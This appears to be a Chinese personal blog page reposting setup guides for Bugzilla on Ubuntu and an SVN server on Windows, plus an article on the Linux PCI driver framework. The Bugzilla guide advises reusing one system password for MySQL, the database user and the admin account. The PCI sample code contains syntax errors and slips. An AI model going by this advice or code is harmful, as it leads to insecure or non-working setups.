3.系统灵活,强大的可配置能力。Bugzilla工具可以对软件产品设定不同的模块,并针对不同的模块设定开发人员和测试人员。这样可以实现提交报告时 自动发给指定的责任人,并可设定不同的小组,权限也可划分。设定不同的用户对bug记录的操作权限不同,可有效控制进行管理。允许设定不同的严重程度和优 先级。可以在缺陷的生命期中管理缺陷。从最初的报告到最后的解决,确保了缺陷不会被忽略。同时可以使注意力集中在优先级和严重程度高的缺陷上。
4.自动发送Email,通知相关人员。根据设定的不同责任人,自动发送最新的动态信息,有效的帮助测试人员和开发人员进行沟通。


2 安装Step by Step
Bugzilla是一个基于WEB的缺陷管理系统。前台用 Perl语言实现,后台使用MySQL数据库。因为Bugzilla除了通过WEB来跟踪处理bug外,还同时通过Email来跟踪bug的处理过程。如 果不通过Email来跟踪bug的话,Email电子邮件系统并不是必要的。但是,如果要正常运行Bugzilla,必须设置一个smtp邮件发送服务 器。
安装Bugzilla需要MySQL、Perl等等配套软件。为了简化Bugzilla的安装过程,让大家少走弯路,我们把Bugzilla及其配套软件的安装包都整合到一个目录Bugzilla-2.20.1下,并以Step by Step的方式介绍安装及配置过程:
Bugzilla-2.20.1
01.mysql
02.perl
03.bugzilla
04.ReadMe

    
我刚刚入手UNIX系统学习,学着安装配置Bugzilla。被不少的问题折腾着浪费不少时间,查了不少资料,最终还是圆满成功了。在这作个总结,希望这篇博文能帮助初学者。欢迎各位朋友共同探讨学习。
emial:zongguo.zhang@gmail.com
欢迎转载,请注明出处。
bugzilla安装工具 apache2+mysql5.1+perl+bugzilla3.2.2

Step by step

安装篇

1.安装apache2   
  Ubuntu就可以直接用命令行可以安装 #sudo apt-get install apache2 系统自动安好,打开浏览器在地址栏输入http://ip (你的ip地址或者127.0.0.1)就会在 页面上出现 “ 
It works”则表明apache安装成功。
  出了问题的话,进入/etc/apache2 目录下 用#vi httpd.conf打开文件添加ServerName 127.0.0.1:80即可.

2.安装mysql
  用命令#sudo apt-get install mysql-server 系统自动安装,我装的是mysql5.1.
  安装时要输入密码这是进入root的密码(建议用你ubuntu系统密码),(mysql -uroot -p密码),然后用上述命令行来登录,登录成功显示版本信息和 mysql> ,OK!
  mysql 服务启动/停止/重启命令#service mysql start/stop/restart.

3.安装Bugzilla
  bugzilla到官网去下载(一般为tar.gz包),这个不用我说了吧!不懂google一下,然后cd到下载目录解压包#tar -xzf bugzilla.xx.xx.tar.gz ,再改名#mv bugzilla.xx.xx bugzilla ,再移动到/var/www下面#mv bugzilla /var/www  完毕~~~~ok!

4.安装perl
  先进入到bugzilla目录#cd /var/www/bugzilla,在命令行输入#./checksetup.pl命令检查一下还有哪些perl模块没有安装,因为在系统自动安转apache和mysql时就已安装一部分,

Checking perl modules...
Checking for              CGI.pm (v3.33)   ok: found v3.49 
Checking for            TimeDate (v2.21)   ok: found v2.24 
Checking for           PathTools (v0.84)   ok: found v3.31 
Checking for                 DBI (v1.41)   ok: found v1.611 
Checking for    Template-Toolkit (v2.15)   ok: found v2.22 
Checking for          Email-Send (v2.00)   ok: found v2.198 
Checking for          Email-MIME (v1.861)  ok: found v1.903 
Checking for Email-MIME-Modifier (v1.442)  ok: found v1.903 

Checking available perl DBD modules...
Checking for              DBD-Pg (v1.45)    not found 
Checking for           DBD-mysql (v4.00)   ok: found v4.012 
Checking for          DBD-Oracle (v1.19)    not found 
第一组要全装,第二组就看你装的什么数据库了,这里装的是mysql就选DBD-mysql,not found表示没有安装,用下面提的COMMANDS TO INSTALL:需要什么就复制粘贴就可安装好。

到这里Buglilla所需要的组件全安装完毕,第一篇OK!


配置篇

1.apache2配置 
  A.修改 
apache的配置文件apache2.conf:进入/etc/www/apache2目录下面 vi /apache2.conf 找到ServerRoot,修改ServerRoot bugzilla所在的目录“/var/www”,即如下:(注释原来的添加修改)
#ServerRoot "/etc/apache2"
ServerRoot "/var/www"
  B.修改
apache的配置文件apache2.conf: 设置 apache访问bugzilla的用户及用户组,本安装中将用户及用户组都设置为www-data:如下:
#User ${APACHE_RUN_USER}
#Group ${APACHE_RUN_GROUP}
User www-data
Group www-data
  C.修改
apache的配置文件apache2.conf:添加bugzilla所在目录:即在apache.conf文件末添加如下

  Alias /bug/ "/var/www/bugzilla"

  <Directory "/var/www/bugzilla">

     AddHandler cgi-script .cgi

  Options +Indexes +ExecCGI +FollowSymLinks

  DirectoryIndex index.cgi

  AllowOverride None

  Order allow,deny

  Allow from all

</Directory>

  D: 修改 www-databugzilla的访问权限
        chown -R www-data:www-data /var/www/bugzilla
     
  最后,重启apache2服务 #/etc/init.d/apache2 restart   ~~~~~OK!

2.mysql配置
  用#mysql -uroot -p密码 登录mysql 。
  首先,创建数据库
bugs   mysql> create database bugs 
  其次,创建用户
bugs     mysql> use mysql;
  再次,授权 
mysql> GRANT SELECT, INSERT,UPDATE, DELETE, INDEX, ALTER, CREATE, LOCK TABLES,CREATE TEMPORARY TABLES, DROP, REFERENCES ON bugs.*TO bugs@localhost IDENTIFIED BY '前面root密码'; 
  最后,
mysql> FLUSH PRIVILEGES; 
       退出mysql:mysql>exit或quit
  注:mysql命令以(;)结束,不区分大小写。

3.Bugzilla配置
  先#cd /var/www/bugzilla 运行
bugzilla目录下的checksetup.pl (#.checksetup.pl)自动生成loacalconfig文件(原本bugzilla目录里没有),打开文件localconfig(#vi localconfig),配置如下:
$webservergroup = 'www-data';
$db_driver = 'mysql';
$db_host = 'localhost';
$db_name = 'bugs';
$db_user = 'bugs';
$db_pass = '密码';  注意:为了防止出错,建议所有密码都设置为ubuntu系统密码。
其它不变。

现的配置文件都设置完成,重启apache2 #/etc/init.d/apache2 restart
                     重启mysql  #service mysql restart
                     重新运行checksetuo.pl #./checksetup.pl
结果会出现如下错误:
  SESSION variable 'max_allowed_packetis read onlyUse SET GLOBAL to assign 
the value

  上面错误的原因是bugzilla3.3.2对mysql5.1及以上新版本的兼容性不好。需要修改几处源码文件Bugzilla/Config/Attachment.pm和Bugzilla/Config/Common.pm等,地址:https://bug480001.bugzilla.mozilla.org/attachment.cgi?id=364818其中(-)表示删除(+)表示添加。

bugzilla的预编译和生成相应的配置信息等,如下提示:
Precompiling templates...done.
Fixing file permissions...
Initializing "Dependency Tree Changes" email_setting ...
Marking closed bug statuses as such...

Now filling the 'status_workflow' table with valid bug status transitions...

Adding foreign key: attachments.submitter_id -> profiles.userid...

Adding foreign key: bugs_activity.who -> profiles.userid...

Adding foreign key: bugs_fulltext.bug_id -> bugs.bug_id...

·
·
·
并且会提示输入以下信息:
Enter the e-mail address of the administrator: test@uestc.edu.cn
Enter the real name of the administrator: 
用户名
Enter a password for the administrator account: password
Please retype the password to verify: password
根据以上提示输入bugzilla管理员的相关信息
成功后,在浏览器输入:
http://127.0.0.1/bugzilla会出现bugzilla的管理主页面

应用篇

   Bugzilla网上有很多使用文档,我就不再细述。主要想说一下bugzilla发不出去邮件的问题。
配置smtp。
登录后点击administrator进行参数设置,点击parameter进入,再点击email设置。

mail_delivery_method : smtp
mailfrom                   : 设置成我的真实邮箱     例 me@163.com 可能有的mail server会验证邮箱的真实性以及是否属于该mail server
sendmailnow          : on
smtpserver           : 设置成smtp authentication服务器 例smtp.163.com
smtp_username        : 我的邮箱    例 me@163.com
smtp_password        : 密码
注意后两个parameters(选项)是2.22.1 debian所没有的。

但是接下来我在测试发送邮件的时候总是报

“The new value for smtp_username is invalid: Error requiring
Authen::SASL: ‘Can’t locate Authen/SASL.pm in @INC (@INC contains: .
lib c:/perl/site/lib c:/perl/lib) at (eval 84) line 3. ‘.”
这个错误要求我们安装Authen::SASL 可以回到checksetup.pl处按照提示安装,但是我在这里却出现了问题。
由于之前已经将bugzilla3.2.2文件夹的访问权限设置给了www-data组,现在无法进入到bugzilla3.2.2文件夹内执行任何操作,总报permissions access

采用 sudo –s –H 并输入密码,可以以root权限进入该文件夹操作,安装好Authen::SASL后,发送邮件功能ok。

posted @ 2010-08-13 14:00 MEYE 阅读(2007) | 评论 (1)编辑 收藏
     摘要: 这些道理不懂,你注定就是穷打工的命 http://kb.cnblogs.com/page/57888/   首先声明:如果你是“愤青”或“类愤青”,对不起,请放下此书,因为文中的观点可能会伤害你的心灵(不是对“愤青”有偏见,而是“愤青”们多数都是“纯洁”得不识人间烟火...  阅读全文
posted @ 2010-08-12 22:28 MEYE 阅读(472) | 评论 (0)编辑 收藏
     摘要: Ubuntu 6.06/7.04 安装bugzilla 弄了好久才安装成功,记下来备忘!  1.安装mysql  sudo apt-get install mysql-server  mysql -uroot  create database bugzilla;  2.安装apache2  sudo apt-get in...  阅读全文
posted @ 2010-08-12 22:14 MEYE 阅读(671) | 评论 (1)编辑 收藏
在windows下配置svn服务器(方法一,无apache

1.下载文件

2.安装Subversion 服务器

由于我下载的是setup.exe版本,安装程序安装后会自动设置系统变量.如果你下载的是zip版就需要手动设置系统变量.
setup.exe版直接安装就可以了.安装到D:\Program Files\Subversion

首先创建SVN储存库(repository)

svnadmin create F:\lava\svn\
【注】创建仓库的方法也可以使用TortoiseSVN,在目的文件夹上右键->Create Repository

repository创建完毕后会在目录下生成若干个文件和文件夹,dav目录是提供给Apache与mod_dav_svn使用的目录,让它们存储内部数据;db目录就是所有版本控制的数据文件;hooks目录放置hook脚本文件的目录;locks用来放置Subversion文件库锁定数据的目录,用来追踪存取文件库的客户端;format文件是一个文本文件,里面只放了一个整数,表示当前文件库配置的版本号;

3.配置SVN服务器


打开svn目录中配置文件conf\svnserve.conf,修改配置参数。
例:d:\svnhome\conf\svnserve.conf去掉以下内容之前的注释符#
[general]
anon-access = none   
auth-access = write
password-db = passwd
realm = My First Repository

说明:
anon-access = none   
--不允许匿名访问!这个很重要,不然谁都能访问这个代码仓库了。
        auth-access = write  
-- 允许提交修改
        password-db = passwd
--密码文件名字 

 

【注】如果需要控制访问的用户身份,则:
# [general]
# password-db = passwd

去之每行开头的#,其中第二行是指定身份验证的文件名,即passwd文件
同样打开passwd文件,将

# [users]
# harry = harryssecret
# sally = sallyssecret

这几行的开头#字符去掉,这是设置用户,一行一个,存储格式为“用户名 = 密码”,如可插入一行:admin = admin888,即为系统添加一个用户名为admin,密码为admin888的用户

4.运行SVN服务器

运行SVN服务
在命令行执行

svnserve --daemon --root F:\lava\svn

服务启动,--daemon可简写为-d,--root可简写为-r,可以建立一个批处理文件并放在windows启动组中便于开机就运行SVN服务,或者在这个地址http://clanlib.org/~mbn/svnservice/下载那个svnservice.exe文件,拷贝到E:\svn\bin目录下,再从命令行下执行:

svnservice -install --daemon --root "E:\svn\Repository"
sc config svnservice start= auto
net start svnservice
 
 
5、添加为系统服务


方法1(推荐):
在Windows NT中(包括Windows XP, Windows 2000, Windows 2003 Server)本身包含了一个安装服务的工具,叫做"Service Control",也就是sc.exe。
1.安装为服务:
例:我的Subversion安装在"D:\program files\Subversion",版本库在"D:\svn_root",而我希望对应的Subversion服务名为svnservice,安装这个svn服务的命令就可以这样写:
sc create svnservice
binpath= "D:\ Program Files\Subversion\bin\svnserve.exe --service -r D:\svn_root"
displayname= "SVNService"
depend= Tcpip
请注意,因为便于察看,上面的命令分为多行,但在实际执行时应该在一行里。另外,在以前启动svnserve时会使用"-d"选项,也就是守护进程模式,在这里不能使用,会导致服务无法启动。同样,"-i"和"-t"选项也不能使用。
另外还有两点需要小心处理。首先,如果路径中包括空格,一定要用“\”处理“"”号,例如上面的例子中如果svnserve.exe在“c:\ program files\subversion\”中,则命令应该写为“binpath= "\"c:\program files\subversion\bin\svnserve.exe\"”(“”中的内容),整个命令如下,红色部分是改变部分:
sc create svnservice
binpath= "\"D:\ Program Files\Subversion\bin\svnserve.exe\" --service -r D:\svnroot"
displayname= "SVNService"
depend= Tcpip
其次,sc对选项的格式还有要求,例如“depend= Tcpip”不能写为“depend = Tcpip”或“depend=Tcpip”,也就是“=”前不能有空各,而后面必须有空格。
2.启动服务
在命令行窗口执行完这个命令之后,服务还没有启动,你可以继续运行"net start svnservice"启动这个服务。
3.停止服务
然后使用"net stop svnservice"停止服务。
4.删除服务
如果服务安装的有问题,你可能需要删除服务。要删除前面添加的服务,只需要运行"sc delete svnservice","svnservice"就是我们创建服务时使用的名字。
5.配置服务是自动启动
默认情况下安装的服务不会随Windows的启动而启动,为了使svn服务能够随Windows启动而启动,需要修改一下"sc create"命令(首先要删除),增加"start= auto"选项:
sc create svnservice
binpath= "D:\ Program Files\Subversion\bin\svnserve.exe --service -r D:\svn_root"
displayname= "SVNService"
depend= Tcpip
start= auto
当然你也可以使用图形化的工具修改服务的属性,你可以在“开始->运行...”中执行"services.msc",然后在界面中修改。
方法2:
建立一个批处理文件并放在windows启动组中便于开机就运行SVN服务。
方法3:
这个地址
http://clanlib.org/~mbn/svnservice/下载那个svnservice.exe文件,拷贝到E:\svn\bin目录下,再从命令行下执行:
svnservice --install --daemon --root "E:\svn\Repository"
sc config svnservice start= auto
net start svnservice
此文件会将SVN变成windows系统的一个服务,并默认为自启动,注意:执行第三句时确保前面以命令行方式运行的SVN服务已经停止,如果没停止可在其窗口中按Ctrl+C中止运行。
 



轻松搭建一个Windows SVN服务器

 

  前文所述SVN客户端使用的时候,用的SVN服务器通常为外部,例如Google Code的服务器,不过,做为一个程序开发人员,就算自己一个人写程序,也应该有一个SVN版本控制系统,以便对开发代码进行有效的管理。这里我就介绍一个在Windows环境下简单快速搭建SVN服务器的方法。

  通常的SVN服务器是搭建在Linux等系统下,例如用Apache+SVN配置,Linux下的SVN性能会非常好,但配置有些繁琐,如果SVN服务器只有自己使用,那么可以直接把SVN服务器搭建在个人Windows环境下使用。

  目前较为简单的方案是VisualSVN Server。该SVN服务器是免费的,支持Windows NT, 2000, XP and 2003等环境,安装非常简单。

  安装的时候可以选择SVN走http协议还是https协议,http协议速度快一些,而https协议安全性好。两者均可以从浏览器直接访问SVN项目。

  安装完成后打开,可以看到一个微软的MMS管理界面,在里面可以轻松添加设置项目。用户权限可以使用Windows的用户,也可以单独新建用户。如果原先有一个SVN数据,则可以在界面上导入原有的SVN数据。

VisualSVN Server

  SVN客户端依旧推荐使用Windows下的TortoiseSVN,两者搭配起来,非常好用。

posted @ 2010-03-10 13:16 MEYE 阅读(1276) | 评论 (0)编辑 收藏
http://blog.163.com/dahebaobao@126/blog/static/50974483201002745726971/
posted @ 2010-01-30 20:08 MEYE 阅读(650) | 评论 (1)编辑 收藏

 PCI驱动程序实现(linux)收藏
 1. 关键数据结构


PCI 设备上有三种地址空间:PCI的I/O空间、PCI的存储空间和PCI的配置空间。CPU可以访问PCI设备上的所有地址空间,其中I/O空间和存储空间提供给设备驱动程序使用,而配置空间则由Linux内核中的PCI初始化代码使用。内核在启动时负责对所有PCI设备进行初始化,配置好所有的PCI设备,包括中断号以及I/O基址,并在文件/proc/pci中列出所有找到的PCI设备,以及这些设备的参数和属性。

Linux驱动程序通常使用结构(struct)来表示一种设备,而结构体中的变量则代表某一具体设备,该变量存放了与该设备相关的所有信息。好的驱动程序都应该能驱动多个同种设备,每个设备之间用次设备号进行区分,如果采用结构数据来代表所有能由该驱动程序驱动的设备,那么就可以简单地使用数组下标来表示次设备号。

在PCI驱动程序中,下面几个关键数据结构起着非常核心的作用:

pci_driver

这个数据结构在文件include/linux/pci.h里,这是Linux内核版本2.4之后为新型的PCI设备驱动程序所添加的,其中最主要的是用于识别设备的id_table结构,以及用于检测设备的函数probe( )和卸载设备的函数remove( ):

struct pci_driver {
struct list_head node;
char *name;
const struct pci_device_id *id_table;
int   (*probe)   (struct pci_dev *dev, const struct pci_device_id *id);
void (*remove) (struct pci_dev *dev);
int   (*save_state) (struct pci_dev *dev, u32 state);
int   (*suspend)(struct pci_dev *dev, u32 state);
int   (*resume) (struct pci_dev *dev);
int   (*enable_wake) (struct pci_dev *dev, u32 state, int enable);
};


pci_dev

这个数据结构也在文件include/linux/pci.h里,它详细描述了一个PCI设备几乎所有的硬件信息,包括厂商ID、设备ID、各种资源等:

struct pci_dev {
struct list_head global_list;
struct list_head bus_list;
struct pci_bus   *bus;
struct pci_bus   *subordinate;

void        *sysdata;
struct proc_dir_entry *procent;

unsigned int devfn;
unsigned short   vendor;
unsigned short   device;
unsigned short   subsystem_vendor;
unsigned short   subsystem_device;
unsigned int class;
u8    hdr_type;
u8    rom_base_reg;

struct pci_driver *driver;
void        *driver_data;
u64     dma_mask;
u32          current_state;

unsigned short vendor_compatible[DEVICE_COUNT_COMPATIBLE];
unsigned short device_compatible[DEVICE_COUNT_COMPATIBLE];

unsigned int irq;
struct resource resource[DEVICE_COUNT_RESOURCE];
struct resource dma_resource[DEVICE_COUNT_DMA];
struct resource irq_resource[DEVICE_COUNT_IRQ];

char        name[80];
char        slot_name[8];
int     active;
int     ro;
unsigned short   regs;

int (*prepare)(struct pci_dev *dev);
int (*activate)(struct pci_dev *dev);
int (*deactivate)(struct pci_dev *dev);
};


2. 基本框架

在用模块方式实现PCI设备驱动程序时,通常至少要实现以下几个部分:初始化设备模块、设备打开模块、数据读写和控制模块、中断处理模块、设备释放模块、设备卸载模块。下面给出一个典型的PCI设备驱动程序的基本框架,从中不难体会到这几个关键模块是如何组织起来的。

/* 指明该驱动程序适用于哪一些PCI设备 */
static struct pci_device_id demo_pci_tbl [] __initdata = {
{PCI_VENDOR_ID_DEMO, PCI_DEVICE_ID_DEMO,
    PCI_ANY_ID, PCI_ANY_ID, 0, 0, DEMO},
{0,}
};

/* 对特定PCI设备进行描述的数据结构 */
struct demo_card {
unsigned int magic;

/* 使用链表保存所有同类的PCI设备 */
struct demo_card *next;

/* ... */
}

/* 中断处理模块 */
static void demo_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
/* ... */
}

/* 设备文件操作接口 */
static struct file_operations demo_fops = {
owner:    THIS_MODULE, /* demo_fops所属的设备模块 */
read:    demo_read, /* 读设备操作*/
write:    demo_write, /* 写设备操作*/
ioctl:    demo_ioctl, /* 控制设备操作*/
mmap:    demo_mmap, /* 内存重映射操作*/
open:    demo_open, /* 打开设备操作*/
release: demo_release /* 释放设备操作*/
/* ... */
};

/* 设备模块信息 */
static struct pci_driver demo_pci_driver = {
name:    demo_MODULE_NAME, /* 设备模块名称 */
id_table: demo_pci_tbl, /* 能够驱动的设备列表 */
probe:    demo_probe, /* 查找并初始化设备 */
remove:     demo_remove /* 卸载设备模块 */
/* ... */
};

static int __init demo_init_module (void)
{
/* ... */
}

static void __exit demo_cleanup_module (void)
{
pci_unregister_driver(&demo_pci_driver);
}

/* 加载驱动程序模块入口 */
module_init(demo_init_module);

/* 卸载驱动程序模块入口 */
module_exit(demo_cleanup_module);


上面这段代码给出了一个典型的PCI设备驱动程序的框架,是一种相对固定的模式。需要注意的是,同加载和卸载模块相关的函数或数据结构都要在前面加上 __init、__exit等标志符,以使同普通函数区分开来。构造出这样一个框架之后,接下去的工作就是如何完成框架内的各个功能模块了。

 

3. 初始化设备模块

在Linux系统下,想要完成对一个PCI设备的初始化,需要完成以下工作:

* 检查PCI总线是否被Linux内核支持;
* 检查设备是否插在总线插槽上,如果在的话则保存它所占用的插槽的位置等信息。
* 读出配置头中的信息提供给驱动程序使用。

当Linux内核启动并完成对所有PCI设备进行扫描、登录和分配资源等初始化操作的同时,会建立起系统中所有PCI设备的拓扑结构,此后当PCI驱动程序需要对设备进行初始化时,一般都会调用如下的代码:

static int __init demo_init_module (void)
{
/* 检查系统是否支持PCI总线 */
if (!pci_present())
       return -ENODEV;

/* 注册硬件驱动程序 */
if (!pci_register_driver(&demo_pci_driver)) {
       pci_unregister_driver(&demo_pci_driver);
            return -ENODEV;
}

return 0;
}


驱动程序首先调用函数pci_present( )检查PCI总线是否已经被Linux内核支持,如果系统支持PCI总线结构,这个函数的返回值为0,如果驱动程序在调用这个函数时得到了一个非0的返回值,那么驱动程序就必须得中止自己的任务了。在2.4以前的内核中,需要手工调用pci_find_device( )函数来查找PCI设备,但在2.4以后更好的办法是调用pci_register_driver( )函数来注册PCI设备的驱动程序,此时需要提供一个pci_driver结构,在该结构中给出的probe探测例程将负责完成对硬件的检测工作。

static int __init demo_probe(struct pci_dev *pci_dev, const struct pci_device_id *pci_id)
{
struct demo_card *card;

/* 启动PCI设备 */
if (pci_enable_device(pci_dev))
       return -EIO;

/* 设备DMA标识 */
if (pci_set_dma_mask(pci_dev, DEMO_DMA_MASK)) {
       return -ENODEV;
}

/* 在内核空间中动态申请内存 */
if ((card = kmalloc(sizeof(struct demo_card), GFP_KERNEL)) == NULL) {
       printk(KERN_ERR "pci_demo: out of memory\n");
       return -ENOMEM;
}
memset(card, 0, sizeof(*card));

/* 读取PCI配置信息 */
card->iobase = pci_resource_start (pci_dev, 1);
card->pci_dev = pci_dev;
card->pci_id = pci_id->device;
card->irq = pci_dev->irq;
card->next = devs;
card->magic = DEMO_CARD_MAGIC;

/* 设置成总线主DMA模式 */
pci_set_master(pci_dev);

/* 申请I/O资源 */
request_region(card->iobase, 64, card_names[pci_id->driver_data]);

return 0;
}

 


4. 打开设备模块

在这个模块里主要实现申请中断、检查读写模式以及申请对设备的控制权等。在申请控制权的时候,非阻塞方式遇忙返回,否则进程主动接受调度,进入睡眠状态,等待其它进程释放对设备的控制权。

static int demo_open(struct inode *inode, struct file *file)
{
/* 申请中断,注册中断处理程序 */
request_irq(card->irq, &demo_interrupt, SA_SHIRQ,
       card_names[pci_id->driver_data], card)) {

/* 检查读写模式 */
if(file->f_mode & FMODE_READ) {
       /* ... */
}
if(file->f_mode & FMODE_WRITE) {

}

/* 申请对设备的控制权 */
down(&card->open_sem);
while(card->open_mode & file->f_mode) {
       if (file->f_flags & O_NONBLOCK) {
         /* NONBLOCK模式,返回-EBUSY */
         up(&card->open_sem);
         return -EBUSY;
       } else {
         /* 等待调度,获得控制权 */
         card->open_mode |= f_mode & (FMODE_READ | FMODE_WRITE);
         up(&card->open_sem);

         /* 设备打开计数增1 */
         MOD_INC_USE_COUNT;

       }
}
}

5. 数据读写和控制信息模块

PCI设备驱动程序可以通过demo_fops 结构中的函数demo_ioctl( ),向应用程序提供对硬件进行控制的接口。例如,通过它可以从I/O寄存器里读取一个数据,并传送到用户空间里:

static int demo_ioctl(struct inode *inode, struct file *file, unsigned int cmd, unsigned long arg)
{

switch(cmd) {
       case DEMO_RDATA:
         /* 从I/O端口读取4字节的数据 */
         val = inl(card->iobae + 0x10);
        
/* 将读取的数据传输到用户空间 */
         return 0;
}

}


事实上,在demo_fops里还可以实现诸如demo_read( )、demo_mmap( )等操作,Linux内核源码中的driver目录里提供了许多设备驱动程序的源代码,找那里可以找到类似的例子。在对资源的访问方式上,除了有I/O指令以外,还有对外设I/O内存的访问。对这些内存的操作一方面可以通过把I/O内存重新映射后作为普通内存进行操作,另一方面也可以通过总线主DMA (Bus Master DMA)的方式让设备把数据通过DMA传送到系统内存中。


6. 中断处理模块

PC的中断资源比较有限,只有0~15的中断号,因此大部分外部设备都是以共享的形式申请中断号的。当中断发生的时候,中断处理程序首先负责对中断进行识别,然后再做进一步的处理。

static void demo_interrupt(int irq, void *dev_id, struct pt_regs *regs)
{
struct demo_card *card = (struct demo_card *)dev_id;
u32 status;

spin_lock(&card->lock);

/* 识别中断 */
status = inl(card->iobase + GLOB_STA);
if(!(status & INT_MASK))
{
       spin_unlock(&card->lock);
       return;   /* not for us */
}

/* 告诉设备已经收到中断 */
outl(status & INT_MASK, card->iobase + GLOB_STA);
spin_unlock(&card->lock);

/* 其它进一步的处理,如更新DMA缓冲区指针等 */
}

7. 释放设备模块

释放设备模块主要负责释放对设备的控制权,释放占用的内存和中断等,所做的事情正好与打开设备模块相反:

static int demo_release(struct inode *inode, struct file *file)
{

/* 释放对设备的控制权 */
card->open_mode &= (FMODE_READ | FMODE_WRITE);

/* 唤醒其它等待获取控制权的进程 */
wake_up(&card->open_wait);
up(&card->open_sem);

/* 释放中断 */
free_irq(card->irq, card);

/* 设备打开计数增1 */
MOD_DEC_USE_COUNT;

}

8. 卸载设备模块
调用函数pci_unregister_driver( )从Linux内核中注销设备驱动程序

 

本文来自CSDN博客,转载请标明出处:http://blog.csdn.net/mingjie_520/archive/2009/03/27/4029695.aspx

posted @ 2009-06-20 16:02 MEYE 阅读(680) | 评论 (0)编辑 收藏

 Linux下PCI设备驱动程序开发基本框架收藏
PCI是一种广泛采用的总线标准,它提供了许多优于其它总线标准(如EISA)的新特性,目前已经成为计算 机系统中应用最为广泛,并且最为通用的总线标准。Linux的内核能较好地支持PCI总线,本文以Intel 386体系结构为主,探讨了在Linux下开发PCI设备驱动程序的基本框架。

一、PCI总线系统体系结构

PCI是外围设备互连(Peripheral Component Interconnect)的简称,作为一种通用的总线接口标准,它在目前的计算机系统中得到了非常广泛的应用。PCI提供了一组完整的总线接口规范,其 目的是描述如何将计算机系统中的外围设备以一种结构化和可控化的方式连接在一起,同时它还刻画了外围设备在连接时的电气特性和行为规约,并且详细定义了计 算机系统中的各个不同部件之间应该如何正确地进行交互。

无论是在基于Intel芯片的PC机中,或是在基于Alpha芯片的工作 站上,PCI毫无疑问都是目前使用最广泛的一种总线接口标准。同旧式的ISA总线不同,PCI将计算机系统中的总线子系统与存储子系统完全地分开,CPU 通过一块称为PCI桥(PCI-Bridge)的设备来完成同总线子系统的交互,如图1所示。

 

图1 PCI子系统的体系结构

由于使用了更高的时钟频率,因此PCI总线能够获得比ISA总线更好的整体性能。PCI总线的时钟频率一般在25MHz到33MHz范围内,有些甚至能 够达到66MHz或者133MHz,而在64位系统中则最高能达到266MHz。尽管目前PCI设备大多采用32位数据总线,但PCI规范中已经给出了 64位的扩展实现,从而使PCI总线能够更好地实现平台无关性,现在PCI总线已经能够用于IA-32、Alpha、PowerPC、SPARC64和 IA-64等体系结构中。

PCI总线具有三个非常显著的优点,使得它能够完成最终取代ISA总线这一历史使命:

在计算机和外设间传输数据时具有更好的性能;

能够尽量独立于具体的平台;

可以很方便地实现即插即用。

图2是一个典型的基于PCI总线的计算机系统逻辑示意图,系统的各个部分通过PCI总线和PCI-PCI桥连接在一起。从图中不难看出,CPU和RAM 需要通过PCI桥连接到PCI总线0(即主PCI总线),而具有PCI接口的显卡则可以直接连接到主PCI总线上。PCI-PCI桥是一个特殊的PCI设 备,它负责将PCI总线0和PCI总线1(即从PCI主线)连接在一起,通常PCI总线1称为PCI-PCI桥的下游(downstream),而PCI 总线0则称为PCI-PCI桥的上游(upstream)。图中连接到从PCI总线上的是SCSI卡和以太网卡。为了兼容旧的ISA总线标准,PCI总线 还可以通过PCI-ISA桥来连接ISA总线,从而能够支持以前的ISA设备。图中ISA总线上连接着一个多功能I/O控制器,用于控制键盘、鼠标和软 驱。


图2 PCI系统示意图

在此我只对PCI总线系统体系结构作了概括性介绍,如果读者想进一步了解,David A Rusling在The Linux Kernel(http://tldp.org/LDP/tlk/dd/pci.html)中对Linux的PCI子系统有比较详细的介绍。


二、Linux驱动程序框架

Linux将所有外部设备看成是一类特殊文件,称之为“设备文件”,如果说系统调用是Linux内核和应用程序之间的接口,那么设备驱动程序则可以看成是 Linux内核与外部设备之间的接口。设备驱动程序向应用程序屏蔽了硬件在实现上的细节,使得应用程序可以像操作普通文件一样来操作外部设备。

1. 字符设备和块设备

Linux抽象了对硬件的处理,所有的硬件设备都可以像普通文件一样来看待:它们可以使用和操作文件相同的、标准的系统调用接口来完成打开、关闭、读写和 I/O控制操作,而驱动程序的主要任务也就是要实现这些系统调用函数。Linux系统中的所有硬件设备都使用一个特殊的设备文件来表示,例如,系统中的第 一个IDE硬盘使用/dev/hda表示。每个设备文件对应有两个设备号:一个是主设备号,标识该设备的种类,也标识了该设备所使用的驱动程序;另一个是 次设备号,标识使用同一设备驱动程序的不同硬件设备。设备文件的主设备号必须与设备驱动程序在登录该设备时申请的主设备号一致,否则用户进程将无法访问到 设备驱动程序。

在Linux操作系统下有两类主要的设备文件:一类是字符设备,另一类则是块设备。字符设备是以字节为单位逐个进行I/O操作的设备,在对字符设备发出读 写请求时,实际的硬件I/O紧接着就发生了,一般来说字符设备中的缓存是可有可无的,而且也不支持随机访问。块设备则是利用一块系统内存作为缓冲区,当用 户进程对设备进行读写请求时,驱动程序先查看缓冲区中的内容,如果缓冲区中的数据能满足用户的要求就返回相应的数据,否则就调用相应的请求函数来进行实际 的I/O操作。块设备主要是针对磁盘等慢速设备设计的,其目的是避免耗费过多的CPU时间来等待操作的完成。一般说来,PCI卡通常都属于字符设备。

所有已经注册(即已经加载了驱动程序)的硬件设备的主设备号可以从/proc/devices文件中得到。使用mknod命令可以创建指定类型的设备文件,同时为其分配相应的主设备号和次设备号。例如,下面的命令:

[root@gary root]# mknod  /dev/lp0  c  6  0


将建立一个主设备号为6,次设备号为0的字符设备文件/dev/lp0。当应用程序对某个设备文件进行系统调用时,Linux内核会根据该设备文件的设备 类型和主设备号调用相应的驱动程序,并从用户态进入到核心态,再由驱动程序判断该设备的次设备号,最终完成对相应硬件的操作。

2. 设备驱动程序接口

Linux中的I/O子系统向内核中的其他部分提供了一个统一的标准设备接口,这是通过include/linux/fs.h中的数据结构file_operations来完成的:

struct file_operations {        struct module *owner;        loff_t (*llseek) (struct file *, loff_t, int);        ssize_t (*read) (struct file *, char *, size_t, loff_t *);        ssize_t (*write) (struct file *, const char *, size_t, loff_t *);        int (*readdir) (struct file *, void *, filldir_t);        unsigned int (*poll) (struct file *, struct poll_table_struct *);        int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);        int (*mmap) (struct file *, struct vm_area_struct *);        int (*open) (struct inode *, struct file *);        int (*flush) (struct file *);        int (*release) (struct inode *, struct file *);        int (*fsync) (struct file *, struct dentry *, int datasync);        int (*fasync) (int, struct file *, int);        int (*lock) (struct file *, int, struct file_lock *);        ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);        ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);        ssize_t 